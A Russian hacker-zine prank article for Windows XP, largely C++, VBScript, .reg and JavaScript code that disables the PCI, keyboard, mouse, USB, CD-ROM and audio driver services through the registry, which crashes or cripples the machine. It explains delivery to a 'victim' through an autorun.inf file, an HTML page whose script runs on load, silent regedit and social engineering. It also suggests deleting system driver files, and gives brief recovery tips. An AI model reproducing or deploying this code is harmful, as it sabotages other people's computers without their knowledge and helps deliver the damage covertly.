Windows CE + Windows ME + Windows NT == Windows CEMENT
--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==


                          Западло в Windows XP. Сервисы

                        Автор: Dumplex <[email protected]>


Intro

Наверное,  ни  для  кого не секрет, что список сервисов можно получить по адресу
HKLM\SYSTEM\CurrentControlSet\Services.  Среди  имеющихся  по дефолту сервисов я
выделил 7:
 
..\AudioSrv
..\KbdClass
..\MouClass
..\FlpyDisk
..\Usbohci
..\Cdrom
..\PCI

Все   эти   сервисы   по   совместительству   являются  еще  и  драйверами  (см.
%systemroot%\system32\drivers).  Чуешь, чем пахнет? Вот именно - при отключении,
скажем  сервиса  мыши,  крыса  либо  не  будет  дрыгаться,  либо совсем исчезнет
(курсора  не  будет  видно).  Особенно  хотелось бы отметить последний - при его
отключении телега не загрузится :) Но есть одно НО. Отключение происходит ТОЛЬКО
после  того,  как  пробежит  белая  полоса  загрузки  (перед  появлением эмблемы
Microsoft,  или что там у тебя стоит). Все параметры запуска сервиса находятся в
DWORD-параметре Start. Вот они:

2 - автозагрузка
3 - ручная загрузка
4 - отключено (примечание. Можно просто удалить Start)

Ниже  приведены  исходники  программ, выполняющих одну и туже функцию, на разных
языках.


Microsoft Visual Studio

Все фишки с сокращением размера я сдирал с www.uinc.ru и www.sources.ru. Создаем
пустое  Win32  приложение без поддержки MFC и ATL. Active Solution Configuration
ставим  в  Release.  Дальше  идем  в  Linker  => Input, прописываем единственную
библиотеку msvcrt.lib. А вот собственно и исходник:

Main.cpp:
#include <windows.h>
#include "compress.h"
void New_WinMain(void)
{
HKEY hk;
RegOpenKey(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\PCI",&hk);
RegDeleteValue(hk,"Start");
RegCloseKey(hk);
}
compress.h:
#ifdef NDEBUG
#pragma optimize("gsy",on)
#pragma comment(linker,"/MERGE:.rdata=.text")
#pragma comment(linker,"/ENTRY:New_WinMain")
#pragma comment(linker,"/NODEFAULTLIB")
#pragma comment(linker,"/merge:.rdata=.data")
#pragma comment(linker,"/merge:.text=.data")
#if _MSC_VER >= 1000
#endif
#endif

При  запуске  данной  программы (она весит 1 килограмм) отключается PCI, поэтому
после первой же перезагрузки появится синий экран и козяблики :) Чтобы отключить
что-то  другое  -  надо  просто заменить PCI скажем на KbdClass (примечание: при
отключении,  скажем,  той  же  клавы  лучше  отключать еще и ubohci, т.к. велика
вероятность того, что у юзера USB клава/крыса)


Visual Basic Scripts

ИМХО  vbs  -  идеальное средство для западлоcтроения. Он есть практически у всех
юзверей  и  для  написания  скриптов  не  требуется  ни  каких  инструментов (за
исключением  Блокнота).  Значит  в  блокноте  (или подобном текстовом редакторе)
создаем новый документ и сохраняем с расширением *.vbs. Вот код:

On Error Resume Next
Dim Fuck
Set Fuck = WScript.CreateObject("WScript.Shell")
Fuck.RegWrite "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\PCI\Start", "Fucked"

Основным недостатком является то, что юзверь может просмотреть содержимое файла.
Радует,  пожалуй,  только  один  факт - не всем это надо и не все знают, что сей
сырц делает.


Regedit

Это  конечно  не  язык  программирования,  но на нем удобно писать некое подобие
скриптов   для   автоматизации  работы  с  реестром.  Основным  плюсом  является
присутствие  данной  программы  (regedit)  у  каждого рядового юзверя windows. В
блокноте создать новый документ и написать вот этот текст:

REGEDIT 4
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\flpydisk]
"Start"=DWORD:00000004
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\cdrom]
"Start"=DWORD:00000004
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mouclass]
"Start"=DWORD:00000004
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\kbdclass]
"Start"=DWORD:00000004
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\audiosrv]
"Start"=DWORD:00000004
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\usbohci]
"Start"=DWORD:00000004 

и  сохранить  с расширением *.reg. Но, при запуске у юзверя спрашивают, хочет он
загрузить  эту  хрень  или  нет.  Он,  конечно,  нажмет,  нет  :) Чтобы этого не
произошло,  предусмотрительные программеры Microsoft'а придумали такую вот штуку
- при использовании синтаксиса regedit /s <file_name> никаких вопросов задано не
будет.


Впаривание

Теперь поговорим немного о том, как это дело впарить. Можно положить программу в
корень винта (чужого) и туда же кинуть файл autorun.inf следующего содержания:

[AUTORUN]
Open=Suck_My_Dick.exe

Естественно,  ни о чем не подозревающая жертва тыкает на диск два раза, а дальше
сам знаешь чего :) HTML с применением скриптов тоже действенное средство:

<BODY onLoad="HackXP()">
<SCRIPT language=JavaScript>
var WShell = new ActiveXObject( "WScript.Shell" );
function HackXP(){
WShell.RegWrite("HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\PCI\\Start", "Fucked");}
</SCRIPT>
</BODY>

Но,  имхо,  соц.  инженерия  - получше будет. Небольшая обработка жертвы - и она
сама удаляет Start))


Защита

В  связи  с  выше  прочитанным, по крайней мере, у меня, возникает вопрос: А как
уберечься от подобных пакостей??? Можно засунуть файл типа этого в автозагрузку:

REGEDIT 4
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\flpydisk]
"Start"=DWORD:00000002
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\cdrom]
"Start"=DWORD:00000002
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mouclass]
"Start"=DWORD:00000002
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\kbdclass]
"Start"=DWORD:00000002
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\audiosrv]
"Start"=DWORD:00000002
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\usbohci]
"Start"=DWORD:00000002

но  если  необходимо  вводить  пароль (попробуй его ввести без клавиатуры :) или
выскакивает  сообщение,  ничего  не  выйдет... Но не все так плохо. Значит перед
загрузкой  системы  зажми  F8 и держи до появления меню. В меню выбери "Загрузка
последней  удачной  конфигурации  (с  работоспособными  параметрами)" и все дела
(примечание:  На  некоторых  машинах  сбивались  все  настройки,  так  что  будь
осторожнее). Программа тестировалась на WinXP Prof. (SP1) и Home (SP1), хотя, по
идее, должна работать на всех NT-like системах. Для работы нужны права админа.

ЗЫ.  Вандалы  могут  удалить  все файлы из %systemroot%\system32\dllcache (копии
системных  файлов)  а  затем %systemroot%\system32\drivers (сами дрова). По идее
"Последняя удачная" уже не должна помогать, но я не проверял - не знаю...